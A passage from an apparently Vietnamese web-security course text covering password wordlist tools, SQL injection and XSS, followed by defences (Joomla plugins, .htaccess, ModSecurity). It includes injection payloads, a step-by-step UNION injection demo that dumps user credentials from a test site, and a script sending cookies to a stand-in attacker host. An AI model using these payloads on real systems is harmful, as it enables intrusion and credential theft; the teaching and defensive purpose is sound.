 -i: trả lời các câu hỏi để tạo 1 wordlist theo thông tin cá
nhân

- Sau khi trả lời xong, cupp sẽ tạo 1 wordlist với tên: gino.txt
 -w: sử dụng wordlist có sẳn
 -l: tải 1 wordlist từ repository

70
 -a: Sử dụng thư viện Alecto DB. Đây là thư viện các
username và password được tổng hợp
 -v: kiểm tra phiên bản của CUPP.
o Crunch: là một công cụ tuyệt vời cho những ai muốn tấn công Brute
Force attack vì nó có thể tạo ra một danh sách mật khẩu từ 5 ký tự đến
25 ký tự chuẩn xác
 Crunch có giao diện làm việc khá đơn giản chúng ta chỉ cần tập
trung vào hai thông số cơ bản là <min> và <max> với :
 <min>: số kí tự tối thiểu
 <max>: số kí tự tối đa
 Để có pass list tối ưu hơn tý ta có thể sử dòng lệnh :
 # crunch <min> <max> <charset> -t <pattern> – o <path
file>
 với:
o <charset>: kí tự có trong mật khẩu
o <pattern>: các kí tự bạn đã biết chắc
o <path file>: đừng dẫn file được tạo
 VD: ví dụ ta sẽ tạo ra một pass list là số diện thoại với các
điều kiện mình biết được
o có 6 kí tự
o các kí tự cấu tạo nên nó là 0123456789
o số 0 luôn đứng đầu tiên
 Ta sẽ dùng lệnh như sau :
o # crunch 10 10 012345 -t 0@@@@@ -o list.txt

 Ta được wordlist có tên list.txt chứa password

71
 Chứa các password đã được define trước.
 Note: min và max càng cao thì kích thước file wordlist càng
lớn nên cân nhắc trước khi tạo.
2. Các loại tấn công trên Liferay Portal
- Khái niệm: Liferay Portal là giải pháp Cổng điện tử được thiết kế phù hợp với
các mô hình ứng dụng trong các cơ quan, tổ chức và doanh nghiệp có nhu cầu
phát triển hệ thống thông tin trên môi trường web nhằm thực hiện các giao dịch
trực tuyến và sử dụng Intranet/Internet như một công cụ thiết yếu trong các hoạt
động, cung cấp thông tin, giao tiếp, quản lý và điều hành, trao đổi và cộng tác.
o Là công cụ cho phép các cơ quan, tổ chức tự định nghĩa và quản trị
“Cổng thông tin/giao tiếp điện tử” của riêng mình, tự quản nội dung thông
tin và các dịch vụ trên mạng Intranet/Internet.
o Cho phép vận hành một quy trình xuất bản thông tin và các ứng dụng
phần mềm trên quan điểm tích hợp chúng vào trong một giao diện
website duy nhất.
o Liferay Portal sử dụng công nghệ mới nhất của Java, J2EE, tích hợp kiến
trúc hướng dịch vụ SOA (Services-Oriented Architecture) và công nghệ
Web 2.0.
o Hỗ trợ rộng rãi các chuẩn công nghiệp và chuẩn mở (SOAP, LDAP,
XML/XSL, SSL, JSR 170, JSR168, WSRP, Webservices, …).
- Các loại tấn công phổ biến trên Liferay Portal: SQL Injectio, XSS, Malware,
Phising, DoS, Session Hijacking,…

72
3. SQL Injection

Khái niệm và kiến thức cần biết

3.1.Khái niệm: SQL Injection là một trong những kiểu hack web đang dần trở nên
phổ biến hiện nay, theo thống kê thì khoảng 75% hacker sử dụng kĩ thuật này để
chiếm quyền điều khiển của hệ thống. Bằng cách inject các mã SQL query/command
vào input trước khi chuyển cho ứng dụng web xử lí, chúng ta có thể login mà không
cần username và password, remote execution, dump data và lấy root của SQL
server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như
Internet Explorer, Netscape, Lynx, Firefox,…

3.2.Kiến thức cần biết


- Dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi. Ta thường
thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm tra có lỗi hay
không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.
- Dấu thăng (#) và dấu (): các dấu này để đánh dấu chú thích, nghĩa là những kí tự
đứng sau một trong hai dấu này trên cùng một dòng sẽ được xem là chú thích
được bỏ qua khi thực hiện truy vấn.
- Dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu một truy
vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn
- Kiến thức database (CSDL) và ngôn ngữ thiết kế website (PHP, ASP).
- MsAccess: thường dành cho các website tin tức quy mô nhỏ, sử dụng ngôn ngữ
ASP để thiết kế.
- MSSQL: dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX
(ASP.Net) để thiết kế.
- MySQL: tất cả các website có thể dùng, sử dụng ngôn ngữ PHP để thiết kế
(MySQL và PHP là 2 anh em song sinh , chúng luôn đi kèm với nhau ).
- Oracle: tương tự như MySQL Db2: dùng cho các hệ thông website ngân hàng,
các hệ thống này cần chế độ bảo mật rất cao!

3.3.Các bước thực hiện SQL Injection:


- Check
- Order By (Đếm số cột liên quan trong câu query mà URL của site đó chạy)
- Union Select

3.4 Các dạng tấn công:

3.4.1 Dạng tấn công sử dụng câu lệnh SELECT


- Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi
dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi
đầu cho việc tấn công. Chúng ta có tể gặp các website tin tức có các tham số
được truyền vào như: index.php?id=21 , index.asp?id=6,.. thì chúng ta chỉ cần
thêm các kí tự dấu nháy đơn ('), dấu nháy kép ("), phần trăm 27 (%27), 00 phần
trăm (00%) vào sau id để kiểm tra nếu nó hiện ra lỗi hoặc không hiện ra 1 cái gì
(khác hoàn toàn với lúc ban đầu thì 90% có khả năng khai thác được lỗi này).
- Ví dụ
o http://www.ampak.com.tw/product.php?id=22
- là một website bị lỗi SQL Injection thì chúng ta sẽ thử với

73
o http://www.ampak.com.tw/product.php?id=22'
- hoặc
o http://www.ampak.com.tw/product.php?id=22'
- Đều trả về trang lỗi trong các tình huống thông thường, URL hiển thị nội dung của
tin có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên, giống
như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL injection
khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị
khác, và từ đó bắt đầu cho một cuộc tấn công bất hợp pháp, ví dụ như: 0 OR 1=1,
vd:
o http://www.ampak.com.tw/product.php?id=0 or 1=1
- Câu truy vấn SQL lúc này sẽ không trả về trang lỗi mặc dù chúng ta không có
sản phẩm nào có ID = 0, vì nó sẽ thực hiện câu lệnh:
o SELECT * FROM Products WHERE Product_ID=0 or 1=1
- Tương tự như trên, kẻ tấn công có thể lợi dụng sơ hở trong câu truy vấn SQL để
nhập thêm lệnh tiếp theo: '; DROP TABLE users -- Lúc này, chương trình sẽ chạy
câu truy vấn thực hiện việc xóa bảng users.

3.4.2 Dạng tấn công sử dụng câu lệnh INSERT

- Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để
tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng
có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi
hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. Ví dụ, một câu lệnh
INSERT có thể có cú pháp dạng:
o INSERT INTO TableName VALUES('1st Value', '2nd Value', '3rd Value')
- Chắc chắn sẽ bị lỗi Sql Injection, bởi vì nếu ta nhập vào trường thứ nhất ví dụ
như:
o ' + (SELECT TOP 1 FieldName FROM TableName) + '
- Lúc này câu truy vấn sẽ là:
o INSERT INTP TableName VALUES(‘ ‘ + (SELECT TOP 1 FieldName
FROM TableName) + ‘ ‘, ‘abc’, ‘def’
- Khi đó, lúc thực hiện lệnh xem thông tin, xem như chúng ta đã yêu cầu thực hiện
thêm một lệnh nữa đó là:
o SELECT TOP 1 FieldName FROM Tablename

3.4.3 Dạng tấn công sử dụng stored-procedures

- Stored Procedure được sử dụng trong lập trình web với mục đích nhằm giảm sự
phức tạp trong ứng dụng và tránh sự tấn công trong kỹ thuật SQL Injection. Tuy
nhiên những kẻ tấn công vẫn có thể lợi dụng những stored procedure để tấn công
vào hệ thống. Việc tấn công này sẽ gây tác hại rất lớn nếu ứng dụng được thực
thi với quyền quản trị hệ thống ‘sa’ .
- Ví dụ 1: stored procedure splogin gồm hai tham số là username và password,
nếu kẻ tấn công nhập: Username: thanhcong Password: ' ; shutdown- - Lệnh gọi
stored procedure như sau:
o EXEC splogin 'thanhcong','';shutdown- -'
o Lệnh shutdown thực hiện dừng sql server ngay lập tức.
- Ví dụ 2:
o EXEC xp_cmdshell 'cmd.exe dir C: '

74
o Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt
server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.

3.4.4 Blind SQL injection

- SQL injection cho phép chúng ta khai thác thông tin từ cơ sở dữ liệu. Riêng với
blind, chúng ta phải đoán thông tin dần dần dựa theo kết quả trả về là true hay
false. Do đó sẽ dẫn tới một vấn đề đó là nếu thông tin chúng ta cần lấy ví du: tên
cơ sở dữ liệu, tên bảng, tên user quá dài thì việc đoán sẽ gặp trở ngại lớn về thời
gian.

3.4.4.1. Tìm kiếm nhị phân trong khai thác Blind SQL Injection

o Đây là một thuật toán tìm kiếm khả phổ biến. Về nguyên tắc nếu ta cần
tìm một phần tử nào đó trong tập hợp đã được sắp xếp, ta chỉ cần xác
định xem nó thuộc vào khoảng nào, từ đó dần dần thu hẹp phạm vi tìm.
o Cụ thể : có dãy số : 1 2 3 4 5 6 7 8 9 . Giờ ta cần tìm phần tử 9 ở vị trí
nào, thay vì ta duyệt và kiểm tra từng phần tử của dãy ta có thể tiến hành
như sau:
 Kiểm tra 9 lớn hay nhỏ hơn phần từ ở giữa là 5 trong dãy trên ta
thấy rõ ràng lớn hơn => ta được khoảng đầu tiên 6 7 8 9
 Cứ thế tìm tới khi chỉ còn 2 phần từ 8, 9 ta chỉ so sánh 1 lần là tìm
được giá trị mong muốn.
 Thuật toán này rất tối ưu về thời gian và có độ phức tạp O(log n).
o Quay trở lại với việc khai thác lỗi bind SQLi, ta có thể tìm 1 ký tự đúng
bằng thuât toán trên bằng việc so sánh với mã ascii.
 Ví dụ: and ascii(substring((select username from jos_users),1,1) >
124
o Với câu truy vấn trên, ta sẽ lấy ra ký tự đầu tiên của user để so sánh và
tìm ký tự đúng. Tìm kiếm nhị phân là phương pháp được dùng khá phổ
biến trong kĩ thuật khai thác bind SQLi.

3.4.4.2. Dịch bit trong khai thác Blind SQL Injection

o Thông thường một ký tự bất kỳ sẽ được biểu diễn qua 8 bit nhị phân
(theo ascii) do đó chúng ta sẽ dịch dần từng bit cho tới khi tìm được ký tự
đúng.
o Cụ thể: chúng ta sẽ tiến hành dịch phải từ 7 bit tới 0 bit. Như ta đã biết
với mỗi bit nhị phân bất kỳ sẽ chỉ có 2 lựa chọn hoặc là 1 hoặc là 0. Với
mỗi lần chúng ta sẽ kiểm tra chính xác vị trí đó sẽ nhận giá trị nào. Cứ
dần như thế tới khi dịch đủ 7 bit ta sẽ đoán thành công mã ascii của ký tự
cần tìm.
o Ví dụ: chữ cái đầu tên của database là ‘a’ sẽ có mã ascii là 97.
 Ta tiến hành dịch phải 7 bit và đoán xem nó là 0 hay 1
 Sau khi được bit đầu tiên ta lại thử điền vào vị trí bít thứ 6 và so
sánh tiếp để tìm.
 Cứ làm tuần tự như trên ta chỉ cần thực hiện 7 lần để đoán chính
xác 1 ký tự
o Kĩ thuật này đơn giản và thực hiện dễ dàng hơn so với tìm kiếm nhị phân
và cũng đươc dùng tương đối phổ biến. Thông qua hai kĩ thuật trên ta có

75
thể dễ dàng lấy thông tin từ database và tiết kiệm thời gian rất nhiều so
với cách tìm kiếm tuần tự thông thường.

3.5 Demo tấn công SQL Injection


- Xác định website lỗi:
o Ví dụ,trang victim http://testphp.vulnweb.com/product.php?pic=1 thêm
dấu ‘ phía sau nếu web hiển thị như thế này thì có thể khai thác sql
injection.

- Xác định số column của table trong database của victim


http://testphp.vulnweb.com/product.php?pic=1 order by 11—
o Nếu trang victim không hiển thị lỗi thì đó là số column cần tìm

o Ngược lại nếu hiển thị lỗi thì số lượng column chưa đúng, thay bằng các
giá trị cho đến khi đúng thì dừng lại.

76
o Ta xác định được table trong database của victim có 11 column.
- Xác định các table bị lỗi
o Sử dụng select để xác định table lỗi:
http://testphp.vulnweb.com/product.php?pic=999 union select 1,2,3,4,5,6,7,8,9,10,11-- -

Có các column : 2,3,7,9 bị lỗi


- Kiểm tra 1 vài thông tin của database
http://testphp.vulnweb.com/product.php?pic=999 union select 1, version(), database(),
4,5,6,user(),8,9,10,11-- -

o SQL version: 5.1.73


o Tên Database: acuart
o User hiện tại: acuart@localhost
- Liệt kê các table trong database:
http://testphp.vulnweb.com/product.php?pic=999 union select
1,unhex(hex(group_concat(table_name))),database(),4,5,6,user(),8,9,10,11 from
information_schema.tables where table_schema=database()-- -

77
o Ta được các table trong database, trong đó chúng ta sẽ khai thác table
này.
- Xác định các column trong table users
http://testphp.vulnweb.com/product.php?pic=999 union select
1,unhex(hex(group_concat(column_name))),database(),4,5,6,user(),8,9,10,11 from
information_schema.columns where table_name=CHAR(117,115,101,114,115)-- -
o với table được encode dạng mysql char()

- Xem thông tin các column trong table users (uname, pass, name, email)
http://testphp.vulnweb.com/product.php?pic=999 union select
1,unhex(hex(group_concat(uname,0x3a,pass,0x3a,name,0x3a,email))),database(),4,5,6,use
r(),8,9,10,11 from users-- -

78
o Username: test
o Password: test
o Name: cavaleiropv
o Email: email
- Sử dụng username và password đó để đăng nhập lại trang web.

- Đăng nhập thành công và thông tin user hiện lên

79
4 XSS (Cross Site Scripting)

- Cross-site scripting là một lỗ hổng phổ biến trong ứng dụng web. Để khai thác
một lỗ hổng XSS, hacker sẽ chèn mã độc thông qua các đoạn script để thực thi
chúng ở phía client. Thông thường, các cuộc tấn công XSS được sử dụng để
vượt qua các kiểm soát truy cập và mạo danh người dùng.
- Phân loại: Có 3 loại Reflected XSS, Stored XSS và DOM-based XSS

4.1 Reflected XSS

- Có đến 75% kỹ thuật XSS dựa trên Reflected XSS. Gọi là reflected(phản xạ) bởi
vì trong kịch bản khai thác loại này, hacker phải gửi cho nạn nhân một URL có
chứa đoạn mã nguy hiểm(thường là javascript). Nạn nhân chỉ cần request đến
URL này thì ngay lập tức hacker sẽ nhận được respond chứa kết quả mong
muốn(tính phản xạ thể hiện ở đây). Ngoài ra nó còn được biết đến với tên gọi first-
order XSS.
- Thực tế có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong
những cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người
dùng, từ đó có thể truy cập được dữ liệu và chiếm được quyền của họ trên website.
- Chi tiết được mô tả theo các bước như sau:

1. Người dùng đăng nhập web và giả sử được gán session:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. Bằng cách nào đó, hacker gửi được cho người dùng URL:

http://example.com/name=<script>var+i=new+Image;+i.src=”http://hacker-
site.net/”%2bdocument.cookie;</script>
Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của
hacker tạo ra

80
3. Nạn nhân truy cập đến URL trên
4. Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request(đoạn javascript
của hacker)
5. Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript
6. Đoạn javascript mà hacker tạo ra thực tế như sau:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;


Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie
người dùng:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1


Host: hacker-site.net

7. Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như
session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư
cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có.

4.2 Stored XSS

- Với kỹ thuật Stored XSS , hacker không khai thác trực tiếp mà phải thực hiện
tối thiểu qua 2 bước.
- Đầu tiên hacker sẽ thông qua các điểm đầu vào (form, input, textarea…) không
được kiểm tra kỹ để chèn vào CSDL các đoạn mã nguy hiểm.

- Tiếp theo, khi người dùng truy cập vào ứng dụng web và thực hiện các thao
tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ được thực thi
trên trình duyệt người dùng.

81
- Đến đây hacker coi như đã đạt được mục đích của mình. Vì lí do này mà kỹ
thuật Stored XSS còn được gọi là second-order XSS.
- Kịch bản khai thác được mô tả như hình sau:

- Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công.

o Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân
truy cập vào URL của mình. Còn Stored XSS không cần phải thực hiện
việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng,
hacker chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân,
việc này là hoàn toàn bình thường vì họ không hề hay biết dữ liệu mình
truy cập đã bị nhiễm độc.
o Thứ 2, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểm
tấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng
web. Với Reflected XSS, hacker có thể thuyết phục hay lừa nạn nhân
đăng nhập rồi truy cập đến URL mà hắn ta cung cấp để thực thi mã
độc. Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL
Web nên bất cứ khi nào người dùng truy cập các chức năng liên quan
thì mã độc sẽ được thực thi, và nhiều khả năng là những chức năng này
yêu cầu phải xác thực(đăng nhập) trước nên hiển nhiên trong thời gian
này người dùng vẫn đang trong phiên làm việc.
- Từ những điều này có thể thấy Stored XSS nguy hiểm hơn Reflected XSS rất
nhiều, đối tượng bị ảnh hưởng có thế là tất cả nhưng người sử dụng ứng dụng
web đó. Và nếu nạn nhân có vai trò quản trị thì còn có nguy cơ bị chiếm quyền
điều khiển web.

82
4.3 DOM-based XSS
- DOM: viết tắt của Document Object Model là 1 dạng chuẩn của W3Cđưa ra
nhằm để truy xuất và thao tác dữ liệu của tài liệu có cấu trúc như HTML, XML.
Mô hình này thể hiện tài liệu dưới dạng cấu trúc cây phân cấp. Tất cả các thành
phần trong HTML, XML đều được xem như một node.

- DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc thay đổi cấu trúc DOM
của tài liệu, cụ thể là HTML. Chúng ta cùng xem xét một ví dụ cụ thể sau.
- Một website có URL đến trang đăng ký như sau:

http://example.com/register.php?message=Please fill in the form


- Khi truy cập đến thì chúng ta thấy một Form rất bình thường

- Có thể dễ dàng suy luận tham số message truyền vào nội dung thông báo trên
form, xem kỹ source code của đoạn thông báo này

- Đoạn JavaScript có nhiệm vụ lấy giá trị từ tham số message và in ra. Từ việc kiểm
tra đầu vào lỏng lẻo này, hoàn toàn có thể lừa người dùng truy cập các URL nguy
hiểm.
- Thay vì truyền

message=Please fill in the form


- thì truyền

message=<label>Gender</label><div class="col-sm-4"><select class = "form-


control" onchange="java_script_:show()"><option
value="Male">Male</option><option
value="Female">Female</option></select></div><script>function
show(){alert();}</script>

83
- Khi đấy Form đăng ký sẽ trở thành thế này:

-
- Người dùng sẽ chẳng chút nghi ngờ với một form “bình thường” như thế này, và
khi lựa chọn giới tính, Script sẽ được thực thi

- giá trị truyền vào tham số message được giải thích như sau:

<label class="col-sm-2 control-label">Gender</label><div class="col-sm-


4"><select class = "form-control" onchange="java_script_:show()"><option
value="Male">Male</option><option
value="Female">Female</option></select></div><script>function
show(){alert();}</script>
- Mục đích chính của nó là thực thi hàm show() mỗi khi có sự kiện onchage trên thẻ
select, hàm show() ở đây chỉ đơn thuần bật ra popup để chứng tỏ script đã được
thực thi. Tuy nhiên trong thực tế, hacker thường sẽ sử dụng hàm show() này để
truyền giá trị cookie người dùng về một server định trước (có thể xem lại bài
Reflected XSS phía trên có đề cập đến cách hacker tạo request này như thế nào).
- Ví dụ này cho chúng ta 2 kết luật quan trọng. Thứ nhất mã độc đã được thực thi
ngay khi click vào giá trị trong thẻ select, tức là được thực thi ngay ở phía client
mà không cần thông qua respond của server. Thứ 2, cấu trúc HTML đã bị thay đổi
với script truyền vào. Và cũng có thể thấy kịch bản khai thác thực tế, DOM Based
có phần giống với Reflected hơn là Stored XSS khi phải lừa người dùng truy cập
vào một URL đã nhúng mã độc.
- Hình sau mô tả từng bước thực hiện kỹ thuật tấn công DOM Based XSS:

84
5 Joomla Security Plugin
- Joomla là một trong những CMS phổ biến trên thế giới, do đó nó cũng là đề tài
mà được các hacker quan tâm thông qua các cuộc tấn công. Do đó việc đảm
bảo an ninh cho website cũng là vấn đề đáng quan tâm, hiện tại CMS đã hỗ trợ
các plugin với nhiều tính năng để đảm bảo hạn chế các cuộc tấn công từ các
attacker.
- Các plugin chính: Centrora Security, Securitycheck, RSFirewall
5.1 Centrora Security
- Centrora Bảo mật là một plugin tiên tiến cho nền tảng WordPress được xây dựng
trên đầu trang của một cài đặt WP thường xuyên, thêm tính năng và cơ chế để
bảo vệ các trang web chống lại các loại hình tấn công.
- Các plugin cũng sửa chữa một vấn đề tiện ích mà các plugin WordPress an ninh
nhất có, cho phép ngay cả người dùng không có kỹ thuật để hiểu và sử dụng các
tính năng của nó, tất cả nhờ vào một cách dễ dàng để quản lý trang bảng điều
khiển trong WordPress phụ trợ.

85
5.2 Securitycheck

- Là một giao diện module để quản lý toàn bộ các extension nhanh chóng và dễ
dàng
- Web Firewall: đã được kiểm tra rằng chống lại hơn 90 loại tấn công SQL Injectio,
LFI và XSS và bao gồm các chức năng:
o Hỗ trợ Ipv6
o Blacklist
o Whitelist
o Lưu lại các sự kiện, admin có thể xem từ backend
o Chuyển hướng đến trang mặc định nếu có cuộc tấn công được phát hiện
o Bảo vệ cấp độ thứ 2 để tìm các từ nghi ngờ
o Bảo vệ session
- File manager: người dùng có thể kiểm tra file/folder permission và dễ dàng nhìn
thấy các cấu hình bị thiếu sót.
- .Htaccess protection: Thêm 1 key bí mật cho trang admin của người dùng để
ngăn chặn tấn công dictionary và brute force
- Kiểm tra lỗ hổng: Securitycheck thực hiện 1 cuộc kiểm tra version của các
component mà Joomla của người dùng đã cài đặt, so sánh chúng với database
của chúng để xem nếu nó là extension dính lỗ hổng
- Security kiểm tra từng cá thể mỗi component để tránh lỗ hổng
- Remote Management: quản lý extension từ xa từ bảng điều khiển trung tâm.

5.3 RSFirewall

- RSFirewall! là dịch vụ bảo mật Joomla tiên tiến nhất! mà người dùng có thể sử
dụng để bảo vệ trang web Joomla của người dùng từ việc phát hiện xâm nhập và
tấn công của hacker. RSFirewall! được hỗ trợ bởi một nhóm các chuyên gia
được đào tạo để luôn được cập nhật với các lỗ hổng và cập nhật bảo mật mới
nhất được biết trước.
o Bảo vệ trang web của người dùng từ Lỗ hổng Joomla! RCE
o Scan các file của người dùng để tìm phần mềm độc hại
o Bảo vệ thư mục /administrator của người dùng bằng mật khẩu bổ sung
o Kiểm tra các core file Joomla! Đảm bảo toàn vẹn
o Bảo vệ administrator accounts
o Các bước để tăng tính bảo mật cho trang web của người dùng
o Tìm và sửa các file và folder không an toàn
o Chặn quyền truy cập vào các quốc gia cụ thể
o Tự động chặn IP tấn công trang web của người dùng
6 Htaccess

6.1 .htaccess: là một tập tin cấu hình ở cấp thư mục được hỗ trợ bởi một vài máy
chủ web, cho phép phân quyền cấu hình máy chủ (web server). Nó được đặt bên
trong cây thư mục của trang web và có khả năng ghi đè lên cấu hình lên thư mục
hiện hành và toàn bộ các thư mục con nằm bên trong nó.
- .htaccess cung cấp một loạt các chỉ thị, tác động trực tiếp lên cấu hình của lõi
server (Apache) mà không cần phải truy câp vào bên trong hệ thống chỉnh sửa
các tập tin config của server ( httpd.conf ), có ảnh hưởng vô cùng quan trọng đến
toàn bộ hệ thống website đang chạy

86
- Cấu hình chính
o Enable .htaccess:
 Để có thể sử dụng được tập tin .htaccess và cấu hình phân
quyền, rewrite url,… theo ý muốn thì trước tiên ta phải bật chức
năng ghi đè của tập tin .htaccess trong tập tin cấu hình chính là
httpd.conf.
 Tìm trong tập tin httpd.conf dòng như dưới và xóa ký tự comment
code “#” để bật .htaccess

o Giới hạn quyền ghi đè của .htaccess


 Dưới đây là một ví dụ đơn giản cho chúng ta thấy rằng file
httpd.conf tác động lên khả năng ghi đè của tập tin .htaccess như
đã nói ở trên.

o Khả năng viết lại được dẫn (rewrite url)


 Có thể nói, nhắc đến .htaccess là chúng ta nhắc đến cụm từ quen
thuộc “mod_rewrite”, nó cho phép chúng ta viết lại đường dẫn
trang web sao cho thân thiện, dùng cho nhiều mục đích mà trong
đó mục đích chúng ta thường thấy đó là nâng cao khả năng SEO
web.

6.2 Authentication

- Trước tiên tạo một file, đặt tên là .htpasswd


- Sau đó vào trang http://www.htpasswdgenerator.net/ , làm theo hướng hướng
dẫn để generate ra đoạn mã, sau đó copy đoạn mã này vào file .htpasswd.
- Đặt file này trong đường dẫn web của chúng ta (lưu ý, ta có thể đặt ở bất cứ nơi
đâu trong folder chưa website của ta)
- Tiếp tục, trong file .htaccess thêm dòng này

- Lưu lại file .htaccess và đặt nó vào thư mục mà chúng ta muốn bảo vệ, bắt người
dùng phải nhập username và password giống như trong file .htpasswd chúng ta
đã định sẵn mới có thể đăng nhập được vào hệ thống website của chúng ta

6.3 Session manager

- Ví dụ 1: .htaccess file sẽ chuyển hướng đường dẫn


https://kungfuphp.com/contact.php thành https://kungfuphp.com/contact-
hieu.html

87
- Ví dụ 2: Chuyển toàn bộ đường dân có đuôi .php sang đuôi .abc

- Ví dụ 3: Chuyển hướng tên miền https://kungfuphp.com thành


https://www.kungfuphp.com

6.4 Token control

- Ví dụ: chuyển toàn bộ các bài đăng trong https://kungfuphp.com/post?id=1 thành


https://kungfuphp.com/post-1.html

6.5 Redirect admin

- Để cho phép 1 IP cụ thể access. Thay thế 123\.123\.123\.123 bằng IP của chúng
ta

- Để cho phép nhiều IP access vào, thay thế 123\. 123\. 123\. XXX bằng IP của
chúng ta

- Nếu IP của chúng ta thay đổi, ta có thể bảo vệ site bằng việc chỉ cho phép yêu
cầu login tới từ tên domain. Chỉ việc thay example\.com bằng domain của chúng
ta.
- Hầu hết bruforce dựa vào việc gửi POST request trực tiếp tới wp-login.php của
chúng ta. Do đó nếu POST request tới từ attackers thì nó sẽ bị loại bỏ.

88
- Nếu attackers trong quá trình bị block mà cố gắng gửi POST request (trong vòng
15 phút) thì quá trình block sẽ kéo dài lâu hơn.

7 Cài đặt công cụ bảo mật Modsecurity

- ModSecurity là một sản phẩm thuộc dự án OWASP, cho phép người dùng cấu
hình, tùy chỉnh các phương thức phát hiện tấn công vào web server. Nó cũng là
một tường lửa mức ứng dụng. Đứng trước Webserver và có khả năng xử lý
traffic trước khi đưa vào Webserver. Mọi yêu cầu gửi đến Webserver từ phía
client sẻ được gửi qua modsecurity
- Phiên bản ModSecurity hiện tại đã hỗ trợ Apache, Nginx và IIS
- Một số tính chất mà mod_security có thể dùng làm Web Application Firewall:
o Tính linh động (Flexibility): Việc phân tích luồng HTTP theo một tiêu chí
nhất định trong thực tế thường gặp vấn đề là làm sao để có thể so trùng
mẫu mà ta muốn. Ngoài ra, do nhu cầu của từng hệ thống web là khác
nhau dẫn đến việc phân tích trên từng loại ứng dụng cũng khác nhau.
Mod_security đã kết hợp với OWASP phát triển các tập rule mẫu (Core
Rule Set) nhằm tạo ra tính linh động cho từng mô hình web khác nhau,
hỗ trợ người quản trị phân tích theo nhu cầu thực tế của hệ thống đang
quản trị
o Tính thụ động (Passivity): ModSecurity sẽ không thực thi các tác vụ nếu
như người quản trị viên không chỉ định công việc cụ thể cho chương
trình, việc này là khá quan trọng trong một ứng dụng có nhiệm vụ phân
tích nguy cơ như ModSecurity. Mọi cảnh báo sẽ được thực hiện thông
qua cơ chế phân tích và quyết định tương tác với hệ thống sẽ do người
quản trị thực hiện.
- Chức năng ModSecurity (trên webserver Apache)
o Parsing: ModSecurity sẽ phân tách các dữ liệu luân chuyển qua hệ thống
thành cấu trúc dữ liệu mà ModSecurity định nghĩa sẵn. Cấu trúc này sẽ
được chuyển qua cơ chế so trùng mẫu trong tập rule để phân tích nguy
cơ.
o Buffering: Chức năng buffer (đệm) đóng vai trò khá quan trọng trong cơ
chế hoạt động của ModSec. Việc này có ý nghĩa khi các request gởi đến
ứng dụng web thì phải thông qua ModSecurity trước khi đến ứng dụng xử
lý và những response cũng sẽ được phân tích trước khi trả về phía client.
Cơ chế này là cách duy nhất để có thể ngăn chặn các cuộc tấn công thời
gian thực, các dữ liệu mà ModSecurity nhận được và phân tích sẽ được
lưu trữ trong RAM (bao gồm request body và response data)
o Logging: ModSecurity hỗ trợ ghi nhật ký các gói tin HTTP: request
headers, request body, response header, response body nhằm hỗ trợ
người quản trị phân tích nguy cơ mà hệ thống đang gặp phải để có thể ra
quyết định kiểm soát.

89
o Rule Engine: Các tập mẫu trong ModSecurity đóng vai trò quan trọng
trong việc phát hiện các dạng tấn công và thực hiện phòng chống
- Modsecurity có khả năng
o Theo dõi HTTP traffic để phát hiện những dấu hiệu bất thường.
o Lọc các dữ liệu ra vào webserver.
o Ghi lại các tương tác giữa client và webserver.
- Modsecurity hoạt động dựa trên các rules. MS có hoạt động hiệu quả hay không
phụ thuộc rất lớn vào khả năng thiết lập rule của người quản trị.
- Các khái niệm cần biết: HTTP REQUEST, HTTP RESPONSE, REQUEST
HEADER, REQUEST BODY…
Cài đặt:
- Cập nhật hệ thống
o [root@server ~]# yum -y update
- Cài đặt các thư viện cần thiết
o [root@server ~]# yum install gcc make httpd-devel libxml2 pcre-devel
libxml2-devel curl-devel git
- Cài đặt mod_security
o Yum –y install mod_security
- Sửa lại file httpd.conf để thực hiện load module ModSecurity (thêm vào dòng
đầu):
 LoadModule security2_module modules/mod_security2.so
- Restart apache
o service httpd restart
Cấu hình:
- ModSecurity là application firewall thuộc loại rules-based, nghĩa là chúng ta cần
thiết lập các luật(rules) để ModSecurity hoạt động. Các rules này được thể hiện
dưới dạng các chỉ thị (directives) và có thể đặt trực tiếp trong file cấu hình
Apache(thông thường là httpd.conf).
